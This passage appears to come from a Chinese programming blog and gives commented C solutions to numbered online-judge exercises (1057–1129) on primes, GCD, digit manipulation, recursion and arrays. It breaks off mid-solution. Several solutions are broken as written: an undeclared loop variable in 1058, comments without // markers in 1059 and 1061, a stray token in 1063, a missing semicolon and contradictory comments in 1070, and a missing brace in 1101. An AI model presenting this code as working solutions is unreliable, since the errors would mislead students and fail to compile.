{ max=i;//将满足条件的数赋值给max break;//跳出循环 } } if(max==0)//表示没有满足if条件的数 { printf("no"); } else { printf("%d",max); } return 0; } 1057: 素数判定 #include <stdio.h> int main(){ int n; scanf("%d",&n); if(n==1) { n=4;//这里只要是一个不是质数的数都可以,使输入1时输出no } int i=2; while(i<n) { if(n%i==0)//只要有一个除去1和它自身之外的因数,它就不是质数 { printf("No"); break;//已经判断过了,直接跳出循环 } else i++;//如果没有一个除去1和它自身之外的因数,i最终会等于n } if(i==n) { printf("Yes"); } return 0; } 1058: 求解不等式 #include <stdio.h> int main() { int n,m,j; scanf("%d",&n); double sum=0,ji=1; for(i=1;sum<n;i++)//该循环是求从1开始阶乘的和,直至阶乘的和大于所给的n,退出循环 { ji=ji*i; sum=sum+ji; m=i; } m--;//由于上述循环退出时,对于此时的m,sum>n,故当m-1时,sum<n printf("m<=%d",m); return 0; } 1059: 最高分 #include <stdio.h> int main() { int numb,max; scanf("%d",&numb);//输入第一个成绩 max=numb;将第一个成绩给max,方便后续比较 while(numb>=0){ scanf("%d",&numb); if(numb>max){ max=numb;//如果输入的成绩大于max,则将之赋值给max } } printf("%d",max); return 0; } 1060: 逆序数字 #include <stdio.h> int main() { int i,n; scanf("%d",&n); while(n>0) { i=n%10;//取出数字个位上的数 n=n/10;//扔掉数字各个上的数字变成新的数字 printf("%d ",i);//输出取得的数字个位上的数 } return 0; } 1061: 顺序输出各位数字 #include <stdio.h> int main() { int i,n,m,j,h; scanf("%d",&n); m=n; for(i=0;m>0;i++)//循环求输入数的位数 { m=m/10; } m=i;//将求得的位数给m h=1; for(i=1;i<m;i++) { h=h*10; } while(h>0) { j=n/h;//取出数字最高位上的数,如12345/10000=1 n=n%h;//扔掉数字最高位上的数字变成新的数字,如12345%100000=2345 h=h/10;//h变为与n同位数的数,如10000/10=1000 printf("%d ",j);输出取得的数字最高位上的数 } return 0; } 1062: 最大公约数 此题采用辗转相除法 辗转相除法,又称欧几里德算法,是求两个数的最大公约数的算法。具体做法是用较大的数除以较小的数,再用出现的余数去除除数,如此反复,直到最后余数为0为止,那么最后的除数就是这两个数的最大公约数。 #include <stdio.h> int main() { int m,n,i; scanf("%d %d",&m,&n); while(n!=0) { //不用上来就考虑两个数的大小问题,例如:i=4%6(i=4);m=6;n=4;那么下一轮循坏就是i=6%4 i=m%n;//求两个数的余数, m=n;//把除数放到被除数的位置 n=i;//把得到的余数放到除数的位置 //上三步实现了用较大的数除以较小的数,再用出现的余数去除除数,如此反复 } printf("%d",m); return 0; } 1063: 最大公约与最小公倍 #include <stdio.h> int main() { int m,n,t; scanf("%d %d",&m,&n); int m1=m,n1=n; while(n!=0)//求最大公约数:辗转相除法 { t=m%n; m=n; n=t; }qiuzui int bei=m1/m*n1;//求最大公倍数:两个数的乘积除最大公约数(防止m1*n1的值超出int范围,故先除再乘) printf("%d %d",m,bei); return 0; } 1064: 加密字符 #include <stdio.h> int main() { char ch; while(ch=getchar(),ch!='@'){//输入字母,且字母不等于@ if(ch>='A'&&ch<='Z'){// ch=ch+32; }//该if语句:如果是大写,将之变成小写 if(ch>='a'&&ch<='y'){ ch=ch+1;//该if语句:如果是小写,将之变成下一个 }else if(ch=='z'){ ch='a';//该if语句:若是'z',则转化为'a' }else ch=ch; putchar(ch); } return 0; } 1065: 统计数字字符的个数 #include <stdio.h> int main() { char ch; int cnt=0; while(ch=getchar(),ch!='\n'){ if(ch>='0'&&ch<='9'){ cnt++;//如果字符是数字字符,cnt+1 } } printf("%d",cnt); return 0; } 1066: 字符分类统计 #include <stdio.h> int main() { char ch; int numb1=0,numb2=0,numb3=0; while(ch=getchar(),ch!='\n'){ if(ch>='0'&&ch<='9'){ numb1++;//数字字符计数 }else if((ch>='a'&&ch<='z')||(ch>='A'&&ch<='Z')){ numb2++;//字母字符计数 } else numb3++;//其他字符计数 } printf("letter:%d\n",numb2); printf("digit:%d\n",numb1); printf("other:%d",numb3); return 0; } 1067: 有问题的里程表 #include <stdio.h> int main() { int i,num,count=0; scanf("%d",&num); for(i=0;i<num;i++){ if(i%10==4||i/10%10==4||i/100==4){ count++;//统计含有4的数字的个数 } } printf("%d",num-count);//用输入的里程数减去出现的含4的个数,就是真的里程数 return 0; } 1068: 二进制数 题目的提示(1) 整数运算尽量避免pow之类的double类型函数,以免截断取整带来错误。 (2)可使用递推思想,充分利用中间结果。类似思想可参考秦九韶算法。秦九韶算法是中国南宋时期的数学家秦九韶提出的一种多项式简化算法。计算一次多项式f(x) = a0*xn + a1*x(n-1) + … + an 只需要n次乘法和n次加法。原理是一次多项式f(x)可写成如下加括号方式:f(x) =(( (a0*x + a1)*x + a2) * x + … an-1) * x + an。自内向外去括号计算,只需要n次乘法和n次加法。 本题从高位到低位依次输出二进制数,对应多项式系数a0, a1,….,an, 而x的值为2。递推过程如下: d = 0; while( ch = getchar(), ch != ‘\n’) d = d * 2 + (ch – ‘0’); #include <stdio.h> int main() { int ch; int sum=0; while(ch=getchar(),ch!='\n'){ sum=sum*2+(ch-'0'); } printf("%d",sum); return 0; } 1069: 向Z同学学习 #include <stdio.h> int main() { int M,k; scanf("%d %d",&M,&k); int day=0; while(M--){ day++;//每过1天,多花1元, if(day%k==0)//每花k元,再得一元 M++; } printf("%d",day); return 0; } 1070: 小汽车的位置 题目提示:可为四个方向编号,自向北开始,逆时针将4个方向依次编号为0,1,2,3。当接到向左转命令,方向号增1,向右转则方向号减1。为避免出现负数或大于3的情况,可对4取模。 #include <stdio.h> int main() { int time=0,command=0; int x=0,y=0; int direct=0; int time2=0;//上一次发出命令的时刻 int diff=0;//时间差 while(command!=3){//3表示停止,故不等于3 scanf("%d",&time);//本次发出命令的时刻 diff=time-time2;//计算时间差 if(direct%4==0)//0表示北方 y=y+10*diff; if(direct%4==1)//1表示东方 x=x+10*diff; if(direct%4==2)//2表示南方 y=y-10*diff; if(direct%4==3)//3表示西方 x=x-10*diff; scanf("%d",&command);//输入指令 if(command==1){//命令1,向左转 if(direct==0) direct+=4;//该if语句是防止direct变成负数 direct--//右转,direct-1; } if(command==2)direct++;//左转,direct+1 time2=time;//这一轮结束,本次时间变成了上次的时间 } printf("%d %d",x,y); return 0; } 1071: 分解质因子 #include <stdio.h> int main() { int n; scanf("%d",&n); for(int i=2;n>=i;i++){ if(n%i==0){//如果i是n的质因子,输出i的值 printf("%d ",i); n=n/i;//将n变为除以该质因子后的数字 i=1;//初始化i的值 } } return 0; } 1072: 青蛙爬井 #include <stdio.h> int main() { int high,up,down; scanf("%d %d %d",&high,&up,&down); int i; for(i=1;up*i-down*(i-1)<=high;i++){ } printf("%d",i-1); return 0; } 1073: 再谈鸡兔同笼问题 #include <stdio.h> int main() { int heads,feet; scanf("%d %d",&heads,&feet); int b=(feet-2*heads)/2; int a=heads-b; if(a+b!=heads||2*a+4*b!=feet||a<=0||b<=0) printf("No Answer"); else printf("%d %d",a,b); return 0; } 1074: 百钱买百鸡 #include <stdio.h> int main() { int n; scanf("%d",&n); int i=0,j=0; int k=n-i-j; int answer=0; for(i=0;i<=20;i++){ for(j=0;j<33;j++){ k=n-i-j; if(i*5+j*3+k/3==n&&k%3==0){ printf("%4d%4d%4d\n",i,j,k); answer=1; } } } if(answer==0){ printf("No Answer"); } return 0; } 1075: 聚餐人数统计 #include <stdio.h> int main() { int n,cost; scanf("%d %d",&n,&cost); int i=0,j=0; int k=n-i-j; int answer=0; for(i=0;i<=n;i++){ for(j=0;j<=n;j++){ k=n-i-j; if(i*3+j*2+k*1==cost&&k>=0){ printf("%d% d% d\n",i,j,k); answer=1; } } } if(answer==0){ printf("No answer"); } return 0; } 1076: 三位数求解 #include <stdio.h> int main() { int x,y,z; int n; scanf("%d",&n); int answer=0; for(x=1;x<=9;x++){ for(y=1;y<=9;y++){ for(z=0;z<=9;z++){ if(x*100+y*10+z+y*100+z*10+z==n){ printf("%4d%4d%4d",x,y,z); answer=1; } } } } if(answer==0) printf("No Answer"); return 0; } 1077: 空心菱形 #include <stdio.h> int main() { int n; scanf("%d",&n); int i,j; for(i=0;i<n;i++) { for(j=1;j<=2*n-1;j++) { if(j==n-i||j==n+i) printf("*"); else printf(" "); } printf("\n"); } for(i=1;i<n;i++) { for(j=1;j<=2*n-1;j++) { if(j==i+1||j==2*n-(i+1)) printf("*"); else printf(" "); } printf("\n"); } return 0; } 1078: a+b(多实例测试1) #include <stdio.h> int main() { int n; scanf("%d",&n); int i; for(i=1;i<=n;i++) { int a,b; scanf("%d %d",&a,&b); printf("%d\n",a+b); } return 0; } 1079: a+b(多实例测试2) #include <stdio.h> int main() { int a,b; while(scanf("%d %d",&a,&b)!=EOF) printf("%d\n",a+b); return 0; } 1080: a+b(多实例测试3) #include <stdio.h> int main() { int a,b; while(scanf("%d %d",&a,&b),a!=0||b!=0) printf("%d\n",a+b); return 0; } 1081: n个数求和 (多实例测试) #include <stdio.h> int main() { int T,n; scanf("%d\n",&T); int i,k; int num,sum=0; for(i=1;i<=T;i++) { scanf("%d",&n); for(k=1;k<=n;k++) { scanf("%d",&num); sum=sum+num; } printf("%d\n",sum); sum=0; } } 1082: 敲7(多实例测试) #include <stdio.h> int main() { int i,k,T; scanf("%d",&T); int num; int s; for(i=1;i<=T;i++) { scanf("%d",&num); for(k=1;k<=num;k++) { s=k; while(s>0) { if(s%10==7||k%7==0) { printf("%d ",k);break; } s=s/10; } } printf("\n"); } return 0; } 1083: 数值统计(多实例测试) #include <stdio.h> int main() { int n; int zheng,fu,zero; double num; while(scanf("%d",&n),n!=0) { zheng=zero=fu=0; for(int i=1;i<=n;i++) { scanf("%lf",&num); if(num<0) fu++; if(num==0) zero++; if(num>0) zheng++; } printf("%d %d %d\n",fu,zero,zheng); } return 0; } 1084: 计算两点间的距离(多实例测试) #include <stdio.h> #include <math.h> int main() { double x1,x2,y1,y2; double s; while( scanf("%lf %lf %lf %lf",&x1,&y1,&x2,&y2)!=EOF) { s=sqrt(pow(x1-x2,2)+pow(y1-y2,2)); printf("%.2lf\n",s); } return 0; } 1085: 求奇数的乘积(多实例测试) #include <stdio.h> int main() { int n; int i,sum=1,num; while(scanf("%d",&n)!=EOF) { for(i=1;i<=n;i++) { scanf("%d",&num); if(num%2!=0) { sum*=num; } } printf("%d\n",sum); sum=1; } return 0; } 1086: ASCII码排序(多实例测试) #include <stdio.h> int main() { char a,b,c,t; while(scanf("%c%c%c",&a,&b,&c)!=EOF) { getchar(); if(a>b) { t=a; a=b; b=t; } if(a>c) { t=a; a=c; c=t; } if(b>c) { t=b; b=c; c=t; } printf("%c %c %c\n",a,b,c); } return 0; } 1087: 获取出生日期(多实例测试) #include <stdio.h> int main() { int n; scanf("%d",&n); int i,id; for(i=1;i<=n;i++) { int year,m,day; scanf("%*6d%4d%2d%2d%*4d",&year,&m,&day); printf("%4d-%02d-%02d\n",year,m,day); } return 0; } 1088: 手机短号 (多实例) #include <stdio.h> int main() { int n; scanf("%d",&n); int i; int num; for(i=1;i<=n;i++) { scanf("%*6d%5d",&num); printf("6%05d\n",num); } return 0; } 1089: 阶乘的最高位 #include <stdio.h> int main() { int n; scanf("%d",&n); int i; double sum=1; for(i=1;i<=n;i++) { sum=sum*i; while(sum>=10) { sum=sum/10; } } printf("%d",(int)sum); return 0; } 1090: 整数幂(多实例测试) #include <stdio.h> int main() { int n; int num; int i; int a,b; scanf("%d",&n); for(i=1;i<=n;i++) { num=1; scanf("%d %d",&a,&b); for(;b!=0;b--) { num=num*a; num=num%1000; } printf("%d\n",num); } return 0; } 1091: 童年生活二三事(多实例测试) #include <stdio.h> int main() { int n,a,b,c; int i;; while(scanf("%d",&n),n!=0) { if(n==1) printf("1\n"); else if(n==2) printf("2\n"); else { a=1;b=2; for(i=3;i<=n;i++) { c=a+b; a=b; b=c; } printf("%d\n",c); } } return 0; } 1092: 素数表(函数专题) #include <stdio.h> #include <math.h> int prime (int n) { int i=2; int result=1; for(i=2;i<=sqrt(n);i++) { if(n%i==0) { result=0; } } return result; } int main() { int m,n; scanf("%d %d",&m,&n); int i; for(i=m;i<=n;i++) { if(i==1) continue; if(prime(i)==1) { printf("%d ",i); } } return 0; } 1093: 验证哥德巴赫猜想(函数专题) #include <stdio.h> #include <math.h> int prime (int n) { int i=2; int result=1; for(i=2;i<=sqrt(n);i++) { if(n%i==0) { result=0; } } return result; } int main() { int n; scanf("%d",&n); int i; for(i=1;i<=n/2;i++) { if(i==1) continue; if(prime(i)==1&&prime(n-i)==1) { printf("%d %d",i,n-i); printf("\n"); } } return 0; } 1094: 统计元音(函数专题) int vowel(char ch) { if(ch=='a'||ch=='e'||ch=='i'||ch=='o'||ch=='u'||ch=='A'||ch=='E'||ch=='I'||ch=='O'||ch=='U') return 1; else return 0; } 1095: 时间间隔(函数专题) int HmsToS(int h,int m,int s) { s=3600*h+60*m+s; return s; } void PrintTime(int s) { int h=0,m=0; h=s/3600; m=(s-3600*h)/60; s=s-h*3600-m*60; printf("%02d:%02d:%02d\n",h,m,s); } 1096: 水仙花数(函数专题) #include <stdio.h> #include <math.h> int narcissus(int n) { int a,b,c; a=n/100; b=n/10%10; c=n%10; if(a*a*a+b*b*b+c*c*c==n) { return 1; } else return 0; } int main() { int m,n; while(scanf("%d %d",&m,&n)!=EOF) { int cot=0; int i; for(i=m;i<=n;i++) { if(narcissus(i)==1) { if(cot==0) { printf("%d",i); cot=1; } else printf(" %d",i); } } if(cot==0) printf("no"); printf("\n"); } return 0; } 1097: 计算平均成绩(函数专题) #include <stdio.h> int getScore(char g) { if(g=='A') return 95; else if(g=='B') return 85; else if(g=='C') return 75; else if(g=='D') return 65; else if(g=='E') return 40; } int main() { char ch; double sum=0; int i=0; double count; while(scanf("%c",&ch),ch!='\n') { sum+=getScore(ch); i++; count=1.0*sum/i; } printf("%.1f\n",count); return 0; } 1098: 复合函数求值(函数专题) double funF(double x) { double result; if(x>3) result=2*(x-1); if(x<-1) result=2*(1-x); if(x<=3&&x>=-1) result=4; return result; } double funG(double x) { double result; return result=x*x-3*x; } 1099: 角谷猜想(多实例测试) #include <stdio.h> int main() { int cot=0; int num; while(scanf("%d",&num)!=EOF) { cot=0; while(num!=1) { if(num%2==0) { num=num/2; cot+=1; } else { num=num*3+1; cot+=1; } } printf("%d\n",cot); } return 0; } 1100: 求组合数(函数专题) #include <stdio.h> int fact(int n) { int i; int sum=1; for(i=1;i<=n;i++) { sum*=i; } return sum; } int main() { int cot=0; int m,k; scanf("%d %d",&m,&k); cot=fact(m)/fact(m-k)/fact(k); printf("%d",cot); return 0; }
  12. 如果对哪段代码有疑问或什么不懂可以的加QQ3418208634( 欢迎交流~) 如果觉得杂鱼灰太狼哪题讲的不好的欢迎指出,我去修改捏~ [之前134出现不可控bug,现已修复,并由godyu进行补全134-150] 域为三个月前不可控BUG的存在未成功修复抱歉,现在已经全部提交完毕. 1101: 逆序数字(函数专题) //注意:题目要求只需提交inverse函数部分即可 int inverse(int n) int m=0; //定义最终需要返回的结果,注意应赋值为0,不然m的值会随机生成 do{ int x=n%10; //把最低位提取出来 m=m*10+x; //逆序相加 n/=10; //舍弃最低位 }while(n>0); //判断是否需要继续逆序 return m; //把结果传回main函数,注意题目只需传回逆序数值,而不是相加值 } 1102: 火车票退票费计算(函数专题) double CancelFee(double price) { double change=0; //定义并把退票费初始化 double x=price*0.05; //先计算退票费用 double y=(int)(price*0.05); //保留整数部分 while(x>=1) //先把整数部分去掉看小数部分 { x--; } if(x<0.25) //尾数小于0.25元的舍去 { x=0; } else if(x>=0.25&&x<0.75) //不小于0.25元且小于0.75元的计为0.5元 { x=0.5; } else if(x>=0.75) //不小于0.75元的进为1元 { x=1; } change=x+y; //总退票费 return change; } 1103: 平均学分绩点(函数专题) #include<stdio.h> int GP(int n) { if(n<60) //低于六十分没有G点 { return 0; } else return (n-50)/10; //六十分以上算出G点并返回值 } int main() { int n,m,ncase; scanf("%d",&ncase); //输入n门课程 double sum1=0,sum2=0; while(ncase--) { scanf("%d %d",&m,&n); //输入学分和成绩 sum1+=GP(n)*m; //算出并累加每门课的绩点乘以该门课的学分 sum2+=m; //算出总学分 } printf("%.1f",sum1/sum2); //输出平均学分绩点,保留一位小数 return 0; } 1104: 求因子和(函数专题) #include<stdio.h> int FacSum(int n) { int sum=1; //因为1是肯定有的,直接赋值1减少一次循环,优化算法 for(int i=2;i<=n/2;i++) //这里涉及到一个小技巧,因子不可能比的这个数的一半大,所以直接n/2,优化算法提高效率 { if(n%i==0) //这里遍历一下查找因子 { sum+=i; //找到直接相加 } } return sum; //把和返回 } int main() { int n; scanf("%d",&n); int result=FacSum(n); //调用并接收函数 printf("%d",result); } 1105: 判断友好数对(函数专题) #include<stdio.h> int facsum(int n) { int sum=0; if(n==2) return 1; //2只有一个正因子1(除本身) if(n>2) { for(int i=1;i<n;i++) //遍历寻找因子 { if(n%i==0) { sum+=i; //找到则相加 } } } return sum; } int main() { int m,n,an=0; //an为标识,用于判断输出 scanf("%d %d",&m,&n); for(int j=m;j<=n;j++) //遍历m到n之间的数 { int num; num=facsum(j); //调用函数接收正因子之和 if(j==facsum(num)&&j<num) //如果俩个数正因子之和相等,且比这个数小,则为友好数对,不加后面那个判断则会输出俩次 { printf("%d %d\n",j,num); an=1; //标识更改 } } if(an==0) //找不到则输出没有答案 printf("No answer"); return 0; } 1106: 回文数(函数专题) //只需要求出这个数的逆序并判断俩数是否相等即可 #include<stdio.h> int hws(int i) { int sum=0; while(i>9) { sum+=i%10; i/=10; sum=sum*10; } return sum+i; //返回逆序结果 } int main() { int m,n; scanf("%d %d",&m,&n); for(int i=m;i<=n;i++) { int num=hws(i); if(i==num) //若俩数相等则为回文数 { printf("%d ",i); } } return 0; } 1107: 回文数猜想(函数专题) //这题比上一题多加了一个循环判断 #include<stdio.h> int inverse(int n) { int sum=0; while(n>=10) //求出逆序数 { sum+=n%10; n/=10; sum*=10; } return sum+n; } int main() { int n,m; scanf("%d",&n); while(m=inverse(n),m!=n) //m接收n的倒序数,若不相等则开始循环 { printf("%d ",n); //输出过程值,注意有空格 n=m+n; //正序和倒序相加,开始第二轮循环 } printf("%d",m); //输出最后的回文数 return 0; } 1108: 打印数字图形(函数专题) //本题应找出每行空格与数字的规律 #include<stdio.h> void PrintDigit(int m) { for(int i=1;i<=m;i++) //左边逐递增 { printf("%d",i); } m--; //使m-1,不输出最高位 while(m>=1) //右边逐渐递减 { printf("%d",m--); } } void PrintSpace(int m) //打印空格 { for(int i=0;i<m;i++) { printf(" "); } } int main() { int m; scanf("%d",&m); for(int i=1;i<=m;i++) //打印上半部分 { PrintSpace(m-i); //上半部分空格逐渐递减 PrintDigit(i); //数字逐渐增加 printf("\n"); //换行 } for(int j=1;j<m;j++) //打印下半部分 { PrintSpace(j); //空格逐渐递增 PrintDigit(m-j); //数字逐渐减少 if(j!=m-1) //该判断可以使最后一行不用换行 printf("\n"); } return 0; } 1109: 数根(函数专题) #include<stdio.h> int digitSum(int n) { int sum=0; while(n>9) //只要是大于或等于俩位数就分离 { sum+=n%10; //提取最低位并相加 n/=10; //除去最低位 } return sum+n; //返回各个位上数字的和 } int main() { int n,x; scanf("%d",&n); if(n>9) { x=digitSum(n); //调用函数并接收函数返回的值 while(x>9) //如果返回的值还是俩位数或以上则继续相加 { int t=n; n=x; x=t; x=digitSum(n); } printf("%d",x); } else printf("%d",n); return 0; } 1110: 最近共同祖先(函数专题) /*观察图中孩子与双亲的关系,如果双亲编号为i,左孩子为2*i,右孩子为2*i+1。反之,对于一个编号为i的结点,不论奇数偶数,除以2取整就是i。所以我们可以用递归让较大的数(也就是辈分低的数)向上找双亲,直到他们相遇*/ #include<stdio.h> int common(int x,int y) { if(x==y) //如果相等,x的值则为共同祖先 return x; else if(x>y) { return common(x / 2, y); //若x较大则让x向上走 } else return common(x, y / 2); //若y较大则让y向上走 } int main() { int x, y,j; scanf("%d %d", &x, &y); j = common(x, y); //调用并接收函数传递回来的值 printf("%d", j); } 1111: 多个整数的逆序输出(函数专题) //好好理解一下递归捏 #include<stdio.h> void inverse(int n) { int num; scanf("%d", &num); //读一个整数存入num if(n>1) //如果n有多个数则开始递归逆序输出 { inverse(n - 1); printf("%d ", num); } if(n==1) //若只有一行则直接输出 printf("%d ", num); } int main() { int n; scanf("%d", &n); inverse(n); //调用函数 return 0; } 1112: 进制转换(函数专题) //特别简单,明白递归的原理,直接倒序输出就好了 #include<stdio.h> void convert(int n) { if(n>0) //使用递归倒序输出余数 { convert(n / 2); printf("%d", n % 2); } } int main() { int n; scanf("%d", &n); convert(n); } 1113: 递归调用的次数统计(函数专题) //题目给了斐波那契数列的求法,我们只需填充枝叶即可 #include<stdio.h> int fib(int k) { if(k==1||k==2) return 1; else // return fib(k - 1) + fib(k - 2); } int main() { int n; scanf("%d", &n); printf("%d\n", fib(n)); printf("递归调用了%d次", 2*fib(n)-1); //我们仔细观察函数,发现else的return有俩个递归,所以次数为2*fib(n)-1次 return 0; } 1114: 逆序 //本题考察的是对数组下标的理解 #include<stdio.h> int main() { int n; scanf("%d",&n); int arr[n]; //定义一个长度为n的数组 for(int i=0;i<n;i++) //数组下标从0开始数 { scanf("%d",&arr[i]); //依次把值存进数组 } for(int i=n-1;i>=0;i--) //数组最大下标为长度-1,然后倒序输出 { printf("%4d",arr[i]); //占四列,右对齐 } return 0; } 1115: 数组最小值 #include <stdio.h> int main () { int n, a = 0; scanf("%d", &n); int room[1000]; //n不大于1000,即数组的长度不大于1000 for (int i = 0; i < n; i++) //读入数组 { scanf("%d", &room[i]); } int min = room[0]; for (int j = 0; j < n; j++) { if (min > room[j]) //一个简单的排序找出最小值 { min = room[j]; a = j; } } printf("%d %d", min, a); //输出最小值及其下标 return 0; } 1116: 删除元素 #include <stdio.h> // 删除数组A中下标为i的元素 void del(int a[], int n, int i) { // 判断i是否超出数组范围 if (i < 0 || i >= n) { printf("Invalid index\n"); return; } // 将数组A中下标为i的元素之后的元素向前移动一位 for (int j = i; j < n - 1; j++) { a[j] = a[j + 1]; } // 数组长度减1 n--; } // 打印数组A void PrintArr(int a[], int n) { // 遍历数组A for (int i = 0; i < n; i++) { printf("%d", a[i]); if (i < n - 1) { printf(" "); } } printf("\n"); } int main() { // 输入数组长度和要删除的元素下标 int n, i; scanf("%d", &n); int A[n]; // 输入数组A的元素 for (int i = 0; i < n; i++) { scanf("%d", &A[i]); } scanf("%d", &i); // 调用del函数删除数组A中下标为i的元素 del(A, n, i); // 打印删除元素后的数组 PrintArr(A, n - 1); // 输出删除元素后的数组,跳过最后一个元素 return 0; } 1117: 查找数组元素 #include<stdio.h> //函数find用于查找数组a中元素x的位置 int find(int a[],int *n,int x) { int t=-1; //遍历数组a,查找元素x的位置 for(int i=0;i<*n;i++) { if(x==a[i]) { t=i; return t; break; } } return t; } //函数del用于删除数组a中元素x的位置 void del(int a[],int *n,int x) { //从x位置开始,将数组a中后面的元素向前移动一位 for(int j=x-1;j<*n-1;j++) { a[j]=a[j+1]; } (*n)--; } //函数PrintArr用于打印数组a void PrintArr(int a[],int n) { //遍历数组a,打印每一个元素 for(int i=0;i<n;i++) { printf("%4d",a[i]); } printf("\n"); } int main() { int t; int n,x; //输入数组a的长度 scanf("%d",&n); //定义一个长度为n的数组a int a[n]; //输入数组a的每一个元素 for(int i=0;i<n;i++) { scanf("%d",&a[i]); } //输入要查找的元素x scanf("%d",&x); //调用函数find,查找元素x的位置 t=find(a,&n,x); //如果元素x不存在,则输出Not Found if(t==-1) { printf("Not Found"); } //如果元素x存在,则调用函数del,删除元素x的位置,并打印新的数组a else { del(a,&n,x); PrintArr(a,n); } return 0; } 1118: 数列有序 #include<stdio.h> void insert(int a[],int n,int num) { //将num插入到a数组中 a[n]=num; n++; //冒泡排序 for(int i=0;i<n-1;i++) { for(int j=0;j<n-1-i;j++) { if(a[j]>a[j+1]) { int t=a[j]; a[j]=a[j+1]; a[j+1]=t; } } } } void PrintArr(int a[],int n) { //打印数组 for(int i=0;i<n+1;i++) { printf("%d",a[i]); if(i<n) { printf(" "); } } } int main() { //输入数组大小 int n; scanf("%d",&n); //初始化数组 int a[n]; //输入数组元素 for(int i=0;i<n;i++) { scanf("%d",&a[i]); } //输入插入的元素 int num; scanf("%d",&num); //插入元素 insert(a,n,num); //打印数组 PrintArr(a,n); return 0; } 1119: 一维数组排序 #include<stdio.h> void sort(int a[],int n) { //冒泡排序 for(int i=0;i<n-1;i++) { for(int j=0;j<n-1-i;j++) { if(a[j]>a[j+1]) { int t=a[j]; a[j]=a[j+1]; a[j+1]=t; } } } } void PrintArr(int a[],int n) { //输出数组 for(int i=0;i<n;i++) { printf("%d",a[i]); if(i<n-1) { printf(" "); } } } int main() { //输入数组长度 int n; scanf("%d",&n); int a[n]; //输入数组元素 for(int i=0;i<n;i++) { scanf("%d",&a[i]); } //调用冒泡排序函数 sort(a,n); //输出排序后的数组 PrintArr(a,n); return 0; } 1120: 最值交换 #include<stdio.h> int MinIndex(int a[],int n) { int min = a[0],down=0; //最小值和下标初始为第一个 for (int i = 0; i < n;i++) { if(a[i]<min) //如果遍历出来的数比最小值小 { min = a[i]; //替换最小值 down = i; //记录下标 } } return down; } int MaxIndex(int a[],int n) { int max = a[0], down = n - 1; //最大值和下标初始为最后一个 for (int i = 0; i < n; i++) { if (a[i] > max) // 如果遍历出来的数比最大值大 { max = a[i]; //替换最大值 down = i; //记录下标 } } return down; } void PrintArr(int a[],int n) //打印函数 { for (int i = 0; i < n ;i++) { printf("%d", a[i]); if(i<n-1) { printf(" "); } } } int main() { int n,x,y,t; int a[15]; scanf("%d", &n); for (int i = 0; i < n;i++) { scanf("%d", &a[i]); } x=MinIndex(a, n); //最小值和第一个交换 t = a[0]; a[0] = a[x]; a[x] = t; y=MaxIndex(a, n); //最大值与最后一个交换 t = a[n - 1]; a[n - 1] = a[y]; a[y] = t; PrintArr(a, n); return 0; } 1125: 上三角矩阵的判断 #include <stdio.h> // 检查矩阵是否为上三角矩阵 int IsUpperTriMatrix(int a[][10], int n) { // 遍历矩阵的每一行 for (int i = 1; i < n; i++) { // 遍历当前行的每一列 for (int j = 0; j < i; j++) { // 如果当前列的元素不为0,则说明矩阵不是上三角矩阵 if (a[i][j] != 0) { return 0; } } } // 如果遍历完矩阵的每一行,说明矩阵是上三角矩阵 return 1; } int main() { // 读取矩阵的行数 int n, i, j; scanf("%d", &n); // 初始化一个n*n的矩阵 int a[10][10]; // 读取矩阵的每一个元素 for (i = 0; i < n; i++) { for (j = 0; j < n; j++) { scanf("%d", &a[i][j]); } } // 调用函数检查矩阵是否为上三角矩阵 if (IsUpperTriMatrix(a, n)) { printf("YES\n"); } else { printf("NO\n"); } return 0; } 1126: 布尔矩阵的奇偶性 #include <stdio.h> int boolf(int a[][100], int n) { // 定义两个标志变量,用于记录异常的行和列 int flag1 = 0, flag2 = 0, x, y; // 遍历每一行,检查每一行的和是否为奇数 for (int i = 0; i < n ; i++) { int sum = 0; // 计算每一行的和 for (int j = 0; j < n ; j++) { sum += a[i][j]; } // 如果和为奇数,则记录异常的行 if (sum % 2 != 0) { flag1++; x = i; } } // 遍历每一列,检查每一列的和是否为奇数 for (int i = 0; i < n ; i++) { int sum = 0; // 计算每一列的和 for (int j = 0; j < n ; j++) { sum += a[j][i]; } // 如果和为奇数,则记录异常的列 if (sum % 2 != 0) { flag2++; y = i; } } // 如果异常的行和列都为0,则说明没有异常,输出OK if (flag1 == 0 && flag2 == 0) { printf("OK"); } // 如果异常的行和列只有一个,则说明只修改一个位置,输出修改位置的行列坐标 else if (flag1 == 1 && flag2 == 1) { printf("Change bit(%d,%d)", x, y); } // 如果异常的行和列有两个,则说明整张图片异常,输出corrupt else printf("Corrupt"); } int main() { // 定义一个变量,用于存储图片的行数 int n; // 定义一个二维数组,用于存储图片的像素值 int a[100][100]; // 读取图片的行数 scanf("%d", &n); // 读取图片的像素值 for (int i = 0; i < n ; i++) { for (int j = 0; j < n ; j++) { scanf("%d", &a[i][j]); } } // 调用boolf函数,检查图片是否异常 boolf(a, n); return 0; } 1127: 矩阵乘积 #include<stdio.h> int main() { //定义变量 int m, p, n; int arr[15][15]; int brr[15][15]; int crr[15][15]; //输入变量 scanf("%d %d %d", &m, &p, &n); //输入arr for (int i = 0; i < m;i++) { for (int j = 0; j < p;j++) { scanf("%d", &arr[i][j]); } } //输入brr for (int i = 0; i < p;i++) { for (int j = 0; j < n;j++) { scanf("%d", &brr[i][j]); } } //计算crr for (int i = 0; i < m; i++) { for (int j = 0; j < n; j++) { crr[i][j] = 0; for (int k = 0; k < p; k++) { crr[i][j] += arr[i][k] * brr[k][j]; } } } //输出crr for (int i = 0; i < m; i++) { printf("%d", crr[i][0]); for (int j = 1; j < n; j++) { printf(" %d", crr[i][j]); } printf("\n"); } return 0; } 1128: 课程平均分 #include<stdio.h> int main() { //定义两个整型变量m和n int m, n; //定义一个二维数组a,大小为m*n double a[1005][15]; //输入m和n scanf("%d %d", &m, &n); //循环m次,每次循环输入a[i][j] for (int i = 0; i < m;i++) { for (int j = 0; j < n;j++) { scanf("%lf", &a[i][j]); } } //循环n次,每次循环计算每一列的平均值 for (int i = 0; i < n;i++) { double sum = 0; //循环m次,每次循环累加a[j][i] for (int j = 0; j < m;j++) { sum += a[j][i]; } //计算每一列的平均值 double avg = sum / m; //输出平均值,保留两位小数 printf("%.2lf", avg); //如果不是最后一行,输出空格 if(i!=n-1) { printf(" "); } } return 0; } 1129: 第几天 //纯暴力手法 #include <stdio.h> int main() { // 定义变量 int year, month, day, num = 0; // 输入 scanf("%d-%d-%d", &year, &month, &day); // 判断是否为闰年 if (year % 4 == 0 && year % 100 != 0 || year % 400 == 0) { // 根据月份判断 switch (month) { case 1: printf("%d", day); break; case 2: printf("%d", 31 + day); break; case 3: printf("%d", 31 + 29 